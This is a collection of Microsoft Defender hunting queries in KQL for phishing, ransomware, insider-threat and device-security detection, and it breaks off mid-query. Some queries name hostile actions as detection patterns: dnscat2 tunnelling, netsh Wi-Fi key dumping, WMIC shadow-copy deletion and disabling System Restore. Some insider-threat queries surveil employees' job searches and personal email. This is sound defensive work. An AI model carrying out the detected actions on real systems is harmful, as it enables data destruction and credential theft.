  {
    "path": "General queries/Phish and Malware received by user vs total amount of email.md",
    "content": "\n# Phish and Malware received by user vs total amout of email\n\nHow much phish and malware emails vs good emails received the user in the given timeframe.\n\n## Query\n\n```\nlet UserToAnalyze=\"john.doe@contoso.com\";\nEmailEvents\n| where RecipientEmailAddress==UserToAnalyze\n| project RecipientEmailAddress, ThreatTypes\n| evaluate pivot(ThreatTypes)\n| sort by RecipientEmailAddress asc\n\n\n```\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access | x |  |\n| Execution |  |  |\n| Persistence |  |  | \n| Privilege escalation |  |  |\n| Defense evasion |  |  | \n| Credential Access |  |  | \n| Discovery |  |  | \n| Lateral movement |  |  | \n| Collection |  |  | \n| Command and control |  |  | \n| Exfiltration |  |  | \n| Impact |  |  |\n| Vulnerability |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n\n\n## Contributor info\n\n**Contributor:** Pawel Partyka\n\n**GitHub alias:** pawp81\n\n**Organization:** Microsoft\n\n**Contact info:** ppartyka@microsoft.com\n"
  },
  {
    "path": "General queries/Services.txt",
    "content": "//Gets the service name from the registry key\r\nDeviceRegistryEvents  \r\n| where RegistryKey has @\"SYSTEM\\CurrentControlSet\\Services\"\r\n| extend ServiceName=tostring(split(RegistryKey, @\"\\\")[4])\r\n| project Timestamp, DeviceName, ServiceName, ActionType, InitiatingProcessAccountName, InitiatingProcessFileName, InitiatingProcessFolderPath, InitiatingProcessCommandLine, InitiatingProcessMD5, InitiatingProcessParentFileName\r\n| top 100 by Timestamp desc \r\n"
  },
  {
    "path": "General queries/System Guard Security Level Baseline.txt",
    "content": "// Establishes a baseline SystemGuardSecurityLevel and show the devices that are below that baseline\n// See https://techcommunity.microsoft.com/t5/Microsoft-Defender-ATP/How-insights-from-system-attestation-and-advanced-hunting-can/ba-p/969252 for full details on this query\n// and Device Boot Attestation Info and feel free to ping @DepletionMode or @flyingbluemonki on twitter\nlet TargetSecurityLevel = 700;\nDeviceEvents\n| where Timestamp >= ago(7d)\n| where ActionType == \"DeviceBootAttestationInfo\"\n| extend AdditionalFieldData = parse_json(AdditionalFields)\n| project DeviceName, ReportTime = todatetime(AdditionalFieldData.ReportValidityStartTime), CurrentSecurityLevel = toint(AdditionalFieldData.SystemGuardSecurityLevel), AdditionalFieldData.ReportValidityStartTime\n| where CurrentSecurityLevel < TargetSecurityLevel\n| summarize arg_max(ReportTime, CurrentSecurityLevel) by DeviceName\n"
  },
  {
    "path": "General queries/System Guard Security Level Drop.txt",
    "content": "// Goal: Find machines in the last N days where the SystemGuardSecurityLevel value NOW is less than it was BEFORE\n// Step 1: Get a list of all security levels in the system where the level is not null\nlet SecurityLevels = DeviceEvents\n| where Timestamp >= ago(7d)\n| where ActionType == \"DeviceBootAttestationInfo\"\n| extend AdditionalFieldData = parse_json(AdditionalFields)\n| project DeviceId, Timestamp, SystemGuardSecurityLevel = toint(AdditionalFieldData.SystemGuardSecurityLevel), ReportId\n| where isnotnull(SystemGuardSecurityLevel);\n// Step 2: Get the *latest* record for *each* machine from the SecurityLevels table\nlet LatestLevelsPerMachine = SecurityLevels\n // This is going to be the most recent event\n| summarize arg_max(Timestamp, SystemGuardSecurityLevel) by DeviceId\n| project DeviceId, LatestSystemGuardSecurityLevel=SystemGuardSecurityLevel, LatestEventTime=Timestamp;\n// Step 3: Join the two tables together where the LatestSystemGuardSecurityLevel is LESS than the SystemGuardSecurityLevel \nlet MachinesExhibitingSecurityLevelDrop = LatestLevelsPerMachine\n| join (\n SecurityLevels\n) on DeviceId\n| project-away DeviceId1\n| where LatestSystemGuardSecurityLevel < SystemGuardSecurityLevel \n| summarize arg_max(Timestamp, LatestSystemGuardSecurityLevel, SystemGuardSecurityLevel, LatestEventTime, ReportId) by DeviceId;\nMachinesExhibitingSecurityLevelDrop\n"
  },
  {
    "path": "General queries/insider-threat-detection-queries.md",
    "content": "# Insider Threat Detection Queries\n\nIntent:\n    - Use MTP capability to look for insider threat potential risk indicators\n    - Indicators would then serve as the building block for insider threat risk modeling in subsequent tools\n\n Definition of Insider Threat:\n\n  \"The potential for an individual who has or had authorized access to an organization’s assets to use their access, either maliciously or unintentionally, to act in a way that could negatively affect the organization.\"\n\nThis collection of queries describes the different indicators that could be used to model and look for patterns suggesting an increased risk of an individual becoming a potential insider threat.\n\nNote: no single indicator should be used as a lone determinant of insider threat activity, but should be part of an overall program to understand the increased risk to your organization's critical assets. This in turn is used to feed an investigation by a formal insider threat program to look at the context associated with the whole person to understand the implication of a set of indicators.\n\n## Queries\n\n```\n// --------------------------------------------------------------------------------------------------------------------------- //\n//\n//Local Administrator\n//\nDeviceLogonEvents\n| where IsLocalAdmin ==0\n| where InitiatingProcessAccountName != \"system\"\n\n// --------------------------------------------------------------------------------------------------------------------------- //\n//\n//Zip/Encrypt Sensitive File\n//\n//This is using a very basic indicator of a \"Confidential\" document in that it must be stored in a folder named Confidential or Restricted\n//Using the Information Protection tags (DeviceFileEvents: SensitivityLabel) might be a more appropriate \n DeviceFileEvents \n| where\n    InitiatingProcessFileName in (\"7z.exe\", \"7zG.exe\", \"AxCrypt.exe\", \"BitLocker.exe\", \"Diskcryptor.exe\", \"GNUPrivacyGuard.exe\", \"GPG4Win.exe\", \"PeaZip.exe\", \"VeraCrypt.exe\", \"WinRAR.exe\", \"WinZip.exe\")\n    and FolderPath matches regex \".*Confidential|Restricted.*\" \n| project Timestamp, InitiatingProcessAccountName, FileName, FolderPath, InitiatingProcessFileName, DeviceName\n\n// --------------------------------------------------------------------------------------------------------------------------- //\n//\n//Use of Steganography Application\n//\n// Extend stegnames array with know steganography tools\n// We could also use the known hash for steganography tools and use those hashes in this table\nlet stegnames = pack_array (\"camouflage\",\"crypture\", \"hidensend\", \"openpuff\",\"picsel\",\"slienteye\",\"steg\",\"xiao\");\nlet ProcessQuery = view(){\nDeviceProcessEvents \n| where ProcessCommandLine has_any (stegnames)\n};\nlet FileQuery = view(){\nDeviceFileEvents\n| where FileName has_any (stegnames)\n};\nunion ProcessQuery, FileQuery\n| project Timestamp, DeviceName, InitiatingProcessAccountName, FileName, InitiatingProcessFileName, InitiatingProcessParentFileName, InitiatingProcessCommandLine\n\n// --------------------------------------------------------------------------------------------------------------------------- //\n//\n//Screenshots\n//\nlet PRINT_THRESHOLD = 3;  // adjust accordingly\n//-----\nDeviceProcessEvents \n| where FileName in (\"SnippingTool.exe\", \"ScreenSketch.exe\") //and Timestamp > ago(20d)\n| summarize count(AccountName) by AccountName\n| where count_AccountName > PRINT_THRESHOLD\n| sort by count_AccountName desc\n\n//Secondary Query\n//This eventtype exists, but seems to be a bit noisy\nDeviceEvents\n| where ActionType startswith \"ScreenshotTaken\"\n\n// --------------------------------------------------------------------------------------------------------------------------- //\n//\n//Personal Email Account\n//\n//This query searches for connections to specific webmail URLs\nlet webmailURLs = pack_array (\"mail.google.com\", \"mail.yahoo.com\", \"mail.protonmail.com\"); // Change or append additional webmail URLs\nDeviceNetworkEvents \n| where Timestamp > ago(30d)\nand RemoteUrl has_any (webmailURLs)\n\n// --------------------------------------------------------------------------------------------------------------------------- //\n//\n//Access after Termination\n//\n// Look for any activity by a terminated employee account creating a\n// DeviceNetworkEvents after they were released\nlet TermAccount = 'FORMER_EMPLOYEE_NAME';  // Could also use SID\nlet ReleaseTime = datetime(\"01/16/2022 00:00:00\");\n//\nDeviceNetworkEvents \n| where InitiatingProcessAccountName =~ TermAccount\n| where Timestamp  > ReleaseTime\n| project Timestamp , DeviceName, InitiatingProcessAccountName\n| sort by Timestamp  desc\n\n// --------------------------------------------------------------------------------------------------------------------------- //\n//\n//Download Large File Volume over VPN\n//\nDeviceFileEvents\n| where FileName endswith \".docx\" or FileName endswith \".pptx\" or FileName endswith \".xlsx\" or FileName endswith \".pdf\"\n| join DeviceNetworkInfo on DeviceId \n| where ConnectedNetworks !contains '\"Category\":\"Domain\"'\n| summarize TotalFiles=count() by bin(Timestamp, 5m), InitiatingProcessAccountName \n|where TotalFiles >100\n| project TotalFiles,Timestamp,InitiatingProcessAccountName\n\n// --------------------------------------------------------------------------------------------------------------------------- //\n//\n//Usage of Source Control Management (SCM) Tool\n//\n//Update SCMTools with any additional SCM software specific to an organization.\nlet SCMTools = pack_array (\"git.exe\", \"svn.exe\", \"hg.exe\");\nDeviceProcessEvents\n| where FileName has_any (SCMTools) \nor ProcessCommandLine  has_any (SCMTools) \n\n// --------------------------------------------------------------------------------------------------------------------------- //\n//\n//Browse to Job Search website\n//\n// This query finds network communication to specific job search related URL\nlet partialRemoteUrlToDetect = pack_array (\n\"careerbuilder.com\",\n\"career\",\n\"glassdoor.com\",\n\"indeed.com\",\n\"internship\",\n\"job\",\n\"linkdin.com\",\n\"monster.com\",\n\"recruit\",\n\"resume\",\n\"simplyhired.com\"); \nDeviceNetworkEvents  \n| where Timestamp > ago(30d)\nand RemoteUrl has_any (partialRemoteUrlToDetect)\n\n// --------------------------------------------------------------------------------------------------------------------------- //\n//\n//Email to Competitor\n//\nlet competitorDomains = pack_array(\"competitor\", \"company2\");\nEmailEvents\n| where RecipientEmailAddress has_any (competitorDomains)\n| project TimeEmail = Timestamp, Subject, SenderFromAddress, RecipientEmailAddress, AccountName = tostring(split(SenderFromAddress, \"@\")[0]);\n\n// --------------------------------------------------------------------------------------------------------------------------- //\n//\n//Sensitive Information Copied\n//\nlet sensitivepath = pack_array (\"confidential\", \"restricted\");\nDeviceFileEvents\n| where\n   FolderPath has_any (sensitivepath) or FileName has_any (sensitivepath)\n   \n// --------------------------------------------------------------------------------------------------------------------------- //\n//\n//Administrative Remote Desktop\n//\nDeviceNetworkEvents \n| where LocalPort == 3389\n| join ( DeviceLogonEvents ) on DeviceId \n| where AccountName == \"administrator\"\n| project InitiatingProcessCommandLine, AccountDomain, AccountName, LogonType, IsLocalAdmin, RemoteDeviceName, AdditionalFields\n\n// --------------------------------------------------------------------------------------------------------------------------- //\n//\n//SSH Connection from untrusted Subnet\n//\n//Look for SSH connections *not* initiated from the \"Management\" subnet \nlet subnet = \"xx.xx.xx.0\"; // Adjust for your \"Trusted\" or \"Management\" subnet\nDeviceNetworkEvents \n| where RemotePort == 22 and LocalIP !contains (subnet)\n\n// --------------------------------------------------------------------------------------------------------------------------- //\n// Concealment (Create/Delete Backdoor Account)\nDeviceEvents\n| where ActionType == \"UserAccountCreated\"\n\n// --------------------------------------------------------------------------------------------------------------------------- //\n//\n//Use of Suspicious Executable\n//\n// Replace and extend with any desired .exes\nlet SuspiciousEXEs = pack_array (\"dnscat2.exe\", \"dnscat.exe\");\nDeviceProcessEvents\n| where ProcessCommandLine has_any (SuspiciousEXEs) or FileName has_any (SuspiciousEXEs)\n| project Timestamp, DeviceName, InitiatingProcessFileName, InitiatingProcessParentFileName, ProcessCommandLine, InitiatingProcessCommandLine\n\n// --------------------------------------------------------------------------------------------------------------------------- //\n//\n//Open Scanner Software\n//\n// Replace and extend with any desired .exes\nlet ScannerEXEs = pack_array (\"WFS.exe\");\nDeviceProcessEvents\n| where ProcessCommandLine has_any (ScannerEXEs) or FileName has_any (ScannerEXEs)\n| project Timestamp, DeviceName, InitiatingProcessFileName, InitiatingProcessParentFileName, ProcessCommandLine, InitiatingProcessCommandLine\n\n// --------------------------------------------------------------------------------------------------------------------------- //\n//\n//After-Hours Login\n//\n//Change the StartTime and EndTime to reflect typical working hours\n//This query needs some adjustments, as the default for a datetime object with no date is to only query \"today\"\nlet StartTime = datetime(\"8:00:00 AM\");\nlet EndTime = datetime(\"5:00:00 PM\");\nDeviceLogonEvents\n| where InitiatingProcessAccountName != \"system\"\n| where Timestamp between ((EndTime) .. StartTime)\n\n// --------------------------------------------------------------------------------------------------------------------------- //\n//\n//High Volume File Copy Operation\n//\n//Copy large number of files (over 100) within a 5 minute timespan\n//Unfortunately there does not appear to be an easy way to determine that a file originated from a network share\nDeviceFileEvents\n| where FileName endswith \".docx\" or FileName endswith \".pptx\" or FileName endswith \".xlsx\" or FileName endswith \".pdf\"\n| summarize TotalFiles=count() by bin(Timestamp, 5m), InitiatingProcessAccountName \n|where TotalFiles >100\n| project TotalFiles,Timestamp,InitiatingProcessAccountName \n\n// --------------------------------------------------------------------------------------------------------------------------- //\n//\n//Service Account Use\n//\nlet ServiceAccountPrefix = pack_array(       // Declare Account Prefix to identify Service Accounts\n    '_',\n    'svc',\n    'service'\n);\nlet InteractiveTypes = pack_array(           // Declare Interactive logon type names\n    'Interactive',\n    'CachedInteractive',\n    'Unlock',\n    'RemoteInteractive',\n    'CachedRemoteInteractive',\n    'CachedUnlock'\n);\nlet WhitelistedAccounts = pack_array(\n      'WhitelistAccount1',\n      'WhitelistAccount2'\n);                                              // List of accounts that match criteria but are able to logon interactively\nDeviceLogonEvents                               // Get all logon events...\n| where AccountName !in~ (WhitelistedAccounts)  // ...where it is not a whitelisted account...\n| where ActionType == \"LogonSuccess\"            // ...and the logon was successful...\n| where AccountName !contains \"$\"               // ...and not a machine logon. . .\n| where AccountName startswith ServiceAccountPrefix                // ...and not a machine logon. . .\n| where LogonType in (InteractiveTypes)         // Determine if the logon is interactive (True=1,False=0)...\n\n//Reference: https://github.com/microsoft/Microsoft-threat-protection-Hunting-Queries/blob/master/Lateral%20Movement/ServiceAccountsPerformingRemotePS.txt\n// --------------------------------------------------------------------------------------------------------------------------- //\n//\n//Outbound Email with Attachments of Interest\n//\n// This snippet looks for anyone sending code as an attachment based on\n// extension.  A more advanced version would use depend on DLP to determine\n// attachment type and indicate as a potential field in EmailAttachmentInfo\n//\n// whitelist any senders\nlet okaySenders = dynamic([\"postmaster@finnet.onmicrosoft.com\"]);\n//\nlet eattach = EmailAttachmentInfo\n| where SenderFromAddress !in (okaySenders)\n| project Timestamp, FileName, SenderFromAddress, NetworkMessageId\n// add list of extensions relevant to your organization\n| where FileName endswith \".cs\" or\n        FileName endswith \".c\" or\n        FileName endswith \".h\" or\n        FileName endswith \".hpp\" or\n        FileName endswith \".hxx\" or\n        FileName endswith \".cpp\" or\n        FileName endswith \".hh\" or\n        FileName endswith \".cpp\" or\n        FileName endswith \".cc\" or\n        FileName endswith \".cxx\" or\n        FileName endswith \".py\";\n// get the emails associated with attachements\neattach\n| join EmailEvents on NetworkMessageId\n// Remove (or change) this line for email direction\n| where DeliveryLocation == \"On-premises/external\"\n//\n// report stats\n// include this line if you want just summary of how often it occurs\n//| summarize outbound_emails_with_attachments=count()\n// or include this line if you want to know per sender\n//| summarize outbound_emails_with_attachments=count() by SenderFromAddress\n\n// --------------------------------------------------------------------------------------------------------------------------- //\n//Backdoor Account Usage\n//\n//Look for newly created local accounts that log in within 30 minutes\nDeviceEvents\n| where ActionType == \"UserAccountCreated\"\n| project DeviceId , AccountName, Start=Timestamp\n| join kind=inner\n    (\n    DeviceLogonEvents \n    | project AccountName, DeviceId, End=Timestamp\n    ) on AccountName \n| where (End - Start) between (0min.. 30min)\n//Reference https://github.com/microsoft/Microsoft-threat-protection-Hunting-Queries/blob/master/Persistence/Create%20account.txt \n\n// --------------------------------------------------------------------------------------------------------------------------- //\n//Usage of Cloud Storage//\n//\nlet CloudEXEs = pack_array (\"dropbox.exe\", \"box.exe\", \"Googledrivesync.exe\");\nDeviceNetworkEvents\n| where InitiatingProcessFileName has_any (CloudEXEs)\n and isnotempty(RemoteUrl)\n \n// --------------------------------------------------------------------------------------------------------------------------- //\n//\n//Examples that combine multiple indicators//\n//\n//This query searches for \n//email events matching the desired recipients . . .\nEmailEvents\n| where RecipientEmailAddress contains \"competitor\"\n//. . .that contain attachments. . .\nand AttachmentCount >=1\n| join (\nEmailAttachmentInfo\n| where isnotempty(SHA256)\n)on NetworkMessageId\n//. . .which were generated from the specific zip or encryption executables . . .\n| join (\nDeviceFileEvents\n| where InitiatingProcessFileName in (\"7z.exe\", \"7zG.exe\", \"AxCrypt.exe\", \"BitLocker.exe\", \"Diskcryptor.exe\", \"GNUPrivacyGuard.exe\", \"GPG4Win.exe\", \"PeaZip.exe\", \"VeraCrypt.exe\", \"WinRAR.exe\", \"WinZip.exe\")\n//. . .and  that came from a specific “confidential” or “restricted” folder (could substitute sensitivity labels).\nand FolderPath matches regex \".*Confidential|Restricted.*\"\n) on FileName\n```\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access | V |  |\n| Execution |  |  |\n| Persistence | v |  | \n| Privilege escalation |  |  |\n| Defense evasion |  |  | \n| Credential Access |  |  | \n| Discovery |  |  | \n| Lateral movement |  |  | \n| Collection |  |  | \n| Command and control |  |  | \n| Exfiltration | v |  | \n| Impact |  |  |\n| Vulnerability |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n\n\n## Contributor info\n\n**Contributor:** SEI National Insider Threat Center\n\n**GitHub alias:** sei-nitc\n\n**Organization:** Carnegie Mellon University Software Engineering Institute\n\n**Contact info:** insider-threat-feedback@cert.org\n\n&copy; Carnegie Mellon University, 2020. All rights reserved\n"
  },
  {
    "path": "General queries/wifikeys.txt",
    "content": "// List commands the exposed WIFI Keys\n// @mattiasborg82\n// blog.sec-labs.com\nDeviceProcessEvents \n| where Timestamp > ago(7d)\n| where ProcessCommandLine startswith \"netsh.exe\"\n| where ProcessCommandLine has \"key=clear\"\n| project Timestamp, DeviceName, InitiatingProcessFileName, FileName, ProcessCommandLine\n| top 100 by Timestamp\n"
  },
  {
    "path": "Impact/backup-deletion.md",
    "content": "# Return backup files deletion events\n\nThis query was originally published in the threat analytics report, *Ransomware continues to hit healthcare, critical services*. There is also a related [blog](https://www.microsoft.com/security/blog/2020/04/28/ransomware-groups-continue-to-target-healthcare-critical-services-heres-how-to-reduce-risk/).\n\nIn April of 2020, security researchers observed multiple ransomware campaigns using the same set of techniques.\n\nThe following query returns alerts raised when backup files were deleted.\n\nThe [See also](#see=also) section below lists more queries related to techniques shared by these campaigns.\n\n## Query\n\n```Kusto\nAlertInfo\n| where Timestamp > ago(7d) \n| where Title == \"File backups were deleted\" \n```\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|-|-|-|\n| Initial access |  |  |\n| Execution |  |  |\n| Persistence |  |  |\n| Privilege escalation |  |  |\n| Defense evasion | v |  |\n| Credential Access |  |  |\n| Discovery |  |  |\n| Lateral movement |  |  |\n| Collection |  |  |\n| Command and control |  |  |\n| Exfiltration |  |  |\n| Impact | v |  |\n| Vulnerability |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n\n## See also\n\n[Detect use of Alternate Data Streams](../Defense%20evasion/alt-data-streams.md)\n[Detect attempts to turn off System Restore](../Defense%20evasion/turn-off-system-restore.md)\n[Detect cipher.exe deleting data](../Defense%20evasion/deleting-data-w-cipher-tool.md)\n[Detect clearing of system logs](../Defense%20evasion/clear-system-logs.md)\n\n## Contributor info\n\n**Contributor:** Microsoft Threat Protection team\n"
  },
  {
    "path": "Impact/ransom-note-creation-macos.md",
    "content": "# Ransom note 'say' alert associated with ransomware on macOS\n\nThis query was originally published in the threat analytics report, *EvilQuest signals the rise of Mac ransomware*.\n\nAs of the time of this writing (October 2020), ransomware designed to target macOS is relatively rare. EvilQuest is one of the few examples of this kind of malware on the platform.\n\nThe query below can detect the creation of a ransom note according to the typical methods of EvilQuest operators. The command the query searches for is associated with, but not definitely indicative of, EvilQuest infections.\n\nOther queries related to EvilQuest ransomware can be found under the [See also](#see-also) section below.\n\n## Query\n\n```kusto\nunion DeviceFileEvents, DeviceProcessEvents  \n| where Timestamp >= ago(7d)  \n| where ProcessCommandLine has \"say \\\\\\\"Your files are encrypted\\\\\\\" waiting until completion false\"\n```\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|-|-|-|\n| Initial access |  |  |\n| Execution |  |  |\n| Persistence |  |  |\n| Privilege escalation |  |  |\n| Defense evasion |  |  |\n| Credential Access |  |  |\n| Discovery |  |  |\n| Lateral movement |  |  |\n| Collection |  |  |\n| Command and control |  |  |\n| Exfiltration |  |  |\n| Impact | v |  |\n| Vulnerability |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n\n## See also\n\n* [Launching questd ransomware using osascript](..\\Execution\\launch-questd-w-osascript.md)\n* [Reverse shell associated with ransomware on macOS](..\\Command%20and%20Control\\reverse-shell-ransomware-macos.md)\n* [Python usage associated with ransomware on macOS](..\\Command%20and%20Control\\python-use-by-ransomware-macos.md)\n\n## Contributor info\n\n**Contributor:** Microsoft Threat Protection team\n"
  },
  {
    "path": "Impact/turn-off-system-restore.md",
    "content": "# Detect attempts to turn off System Restore\n\nThis query was originally published in the threat analytics report, *Ransomware continues to hit healthcare, critical services*. There is also a related [blog](https://www.microsoft.com/security/blog/2020/04/28/ransomware-groups-continue-to-target-healthcare-critical-services-heres-how-to-reduce-risk/).\n\nIn April of 2020, security researchers observed multiple ransomware campaigns using the same set of techniques.\n\nThe following query detects attempts to stop System Restore, which would prevent the user from recovering data by going back to a restore point.\n\nThe [See also](#see=also) section below lists more queries related to techniques shared by these campaigns.\n\n## Query\n\n```Kusto\n​DeviceProcessEvents  \n| where Timestamp > ago(7d)  \n//Pivoting for rundll32  \nand InitiatingProcessFileName =~ 'rundll32.exe'   \n//Looking for empty command line   \nand InitiatingProcessCommandLine !contains \" \" and InitiatingProcessCommandLine != \"\"  \n//Looking for schtasks.exe as the created process  \nand FileName in~ ('schtasks.exe')  \n//Disabling system restore   \nand ProcessCommandLine has 'Change' and ProcessCommandLine has 'SystemRestore' \nand ProcessCommandLine has 'disable'\n```\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|-|-|-|\n| Initial access |  |  |\n| Execution |  |  |\n| Persistence |  |  |\n| Privilege escalation |  |  |\n| Defense evasion | v |  |\n| Credential Access |  |  |\n| Discovery |  |  |\n| Lateral movement |  |  |\n| Collection |  |  |\n| Command and control |  |  |\n| Exfiltration |  |  |\n| Impact | v |  |\n| Vulnerability |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n\n## See also\n\n[Return backup files deletion events](./backup-deletion.md)\n[Detect use of Alternate Data Streams](../Defense%20evasion/alt-data-streams.md)\n[Detect cipher.exe deleting data](../Defense%20evasion/deleting-data-w-cipher-tool.md)\n[Detect clearing of system logs](../Defense%20evasion/clear-system-logs.md)\n\n## Contributor info\n\n**Contributor:** Microsoft Threat Protection team"
  },
  {
    "path": "Impact/wadhrama-data-destruction.md",
    "content": "# Find data destruction related to Wadhrama ransomware\n\nThis query was originally published in the threat analytics report, *RDP ransomware persists as Wadhrama*.\n\nThe ransomware known as [Wadhrama](https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Ransom:Win32/Wadhrama) has been used in human-operated attacks that follow a particular pattern. The attackers often use Remote Desktop Protocol (RDP) to gain initial access to a device or network, exfiltrate credentials, and maintain persistance.\n\nThe following query checks for possible Wadhrama-related activity, by detecting any use of Windows Management Instrumentation command-line utility, or WMIC, to delete local backups. The attackers often delete all local backups on an infected device before actually running the ransomware.\n\nOther techniques used by the group associated with Wadhrama are listed under [See also](#see-also).\n\n## Query\n\n```Kusto\n// Find use of WMIC to delete backups before ransomware execution\nDeviceProcessEvents\n| where Timestamp > ago(7d)\n| where FileName =~ \"wmic.exe\"\n| where ProcessCommandLine has \"shadowcopy\" and ProcessCommandLine has \"delete\"\n| project DeviceId, Timestamp, InitiatingProcessFileName, FileName,\nProcessCommandLine, InitiatingProcessIntegrityLevel, InitiatingProcessParentFileName\n```\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|-|-|-|\n| Initial access |  |  |\n| Execution |  |  |\n| Persistence |  |  |\n| Privilege escalation |  |  |\n| Defense evasion |  |  |\n| Credential Access |  |  |\n| Discovery |  |  |\n| Lateral movement |  |  |\n| Collection |  |  |\n| Command and control |  |  |\n| Exfiltration |  |  |\n| Impact | v |  |\n| Vulnerability |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n\n## See also\n\n* [Find RDP persistance attempts related to Wadhrama ransomware](../Persistence/wadhrama-ransomware.md)\n* [Image File Execution Options and .bat file usage in association with Wadhrama ransomware](../Credential%20Access/wadhrama-credential-dump.md)\n\n## Contributor info\n\n**Contributor:** Microsoft Threat Protection team\n"
  },
  {
    "path": "Initial access/Check for Maalware Baazar (abuse.ch) hashes in your mail flow.md",
    "content": "\n# Check for Maalware Baazar (abuse.ch) hashes in your mail flow\n\nCheck if file hashes published in the recent abuse.ch feed are found in your mail flow scanned by Office 365 ATP.\n\n## Query\n\n```\nlet abuse_sha256 = (externaldata(sha256_hash: string )\n[@\"https://bazaar.abuse.ch/export/txt/sha256/recent/\"]\nwith (format=\"txt\"))\n| where sha256_hash !startswith \"#\"\n| project sha256_hash;\nabuse_sha256\n| join (EmailAttachmentInfo \n| where Timestamp > ago(1d) \n) on $left.sha256_hash == $right.SHA256\n| project Timestamp,SenderFromAddress ,RecipientEmailAddress,FileName,FileType,SHA256,ThreatTypes,DetectionMethods\n```\n## Category\n\nThis query can be used the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access | v |  |\n| Execution |  |  |\n| Persistence |  |  | \n| Privilege escalation |  |  |\n| Defense evasion |  |  | \n| Credential Access |  |  | \n| Discovery |  |  | \n| Lateral movement |  |  | \n| Collection |  |  | \n| Command and control |  |  | \n| Exfiltration |  |  | \n| Impact |  |  |\n| Vulnerability |  |  |\n| Misconfiguration |  |  |\n| Malware, component | v |  |\n\n\n## Contributor info\n\n**Contributor:** Pawel Partyka\n\n**GitHub alias:** pawp81\n\n**Organization:** Microsoft\n\n**Contact info:** Twitter: @pawp81\n"
  },
  {
    "path": "Initial access/Non_intended_user_logon.md",
    "content": "# Non intended user logon\n\n Under some circumstances it is only allowed that users\n from country X logon to devices from country X. \n This query finds logon from users from other countries than X.\n The query requires a property to identify the users from\n country X. In this example a specific Email Address.\n## Query\n\n```\nlet relevant_computers=\nDeviceInfo\n| where MachineGroup == \"My_MachineGroup\" \n| summarize make_list(DeviceName);\nlet relevant_users=\nIdentityInfo\n| where EmailAddress endswith \"@allowed.users\"\n| summarize make_list(AccountName);\nDeviceLogonEvents\n| where Timestamp > ago(1d)\n| where DeviceName in (relevant_computers)\n| where AccountName !in (relevant_users)\n| project DeviceName, AccountName\n```\n\n## Contributor info\n\n**Contributor:** jan geisbauer\n**Contact info:** @janvonkirchheim \n"
  },
  {
    "path": "Initial access/PhishingEmailUrlRedirector.md",
    "content": "# Phishing email URL redirection\n\nThis query was originally published on Twitter, by [@MsftSecIntel](https://twitter.com/MsftSecIntel).\n\nThe query helps detect emails associated with a campaign that has used open redirector URLs. The campaign's URLs begin with the distinct pattern, *hxxps://t[.]domain[.]tld/r/?*. Attackers use URL redirection to manipulate users into visiting a malicious website or to evade detection.\n\n## Query\n\n```\nEmailUrlInfo\n| where Url matches regex @\"s?\\:\\/\\/(?:www\\.)?t\\.(?:[\\w\\-\\.]+\\/+)+(?:r|redirect)\\/?\\?\"\n```\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access | v |  |\n| Execution |  |  |\n| Persistence |  |  |\n| Privilege escalation |  |  |\n| Defense evasion |  |  |\n| Credential Access |  |  |\n| Discovery |  |  |\n| Lateral movement |  |  |\n| Collection |  |  |\n| Command and control |  |  |\n| Exfiltration |  |  |\n| Impact |  |  |\n| Vulnerability |  |  |\n| Exploit |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n| Ransomware |  |  |\n\n## Contributor info\n\n**Contributor:** Microsoft 365 Defender team\n"
  },
  {
    "path": "Initial access/SuspiciousUrlClicked.md",
    "content": "\n# SuspiciousUrlClicked  \n\nThis query correlates Office 365 Advanced Threat Protection (ATP) signals and Azure Active Directory (Azure AD) identity data to find the relevant endpoint event BrowerLaunchedToOpen in Microsoft Defender ATP.\nThis event reflects relevant clicks on the malicious URL in the spear-phishing email recognized by Office 365 ATP. \n\n## Query\n\n```\n// Some URL are wrapped with a safelink\n// Let's get the the unwrapped url and clicks \nAlertInfo\n| where ServiceSource == \"Office 365 ATP\"\n| join (\n        AlertEvidence\n        | where EntityType ==\"Url\"\n        | project AlertId, RemoteUrl \n    )\n    on AlertId\n| join (\n        AlertEvidence\n        | where EntityType ==\"MailMessage\"\n        | project AlertId, NetworkMessageId \n    )\n    on AlertId\n// Get the unique NetworkMessageId for the email containing the Url\n| distinct RemoteUrl, NetworkMessageId\n| join EmailEvents on NetworkMessageId\n// Get the email RecipientEmailAddress and ObjectId from the email \n| distinct RemoteUrl, NetworkMessageId, RecipientEmailAddress , RecipientObjectId\n| join kind = inner IdentityInfo on $left.RecipientObjectId  == $right.AccountObjectId \n// get the UserSid of the 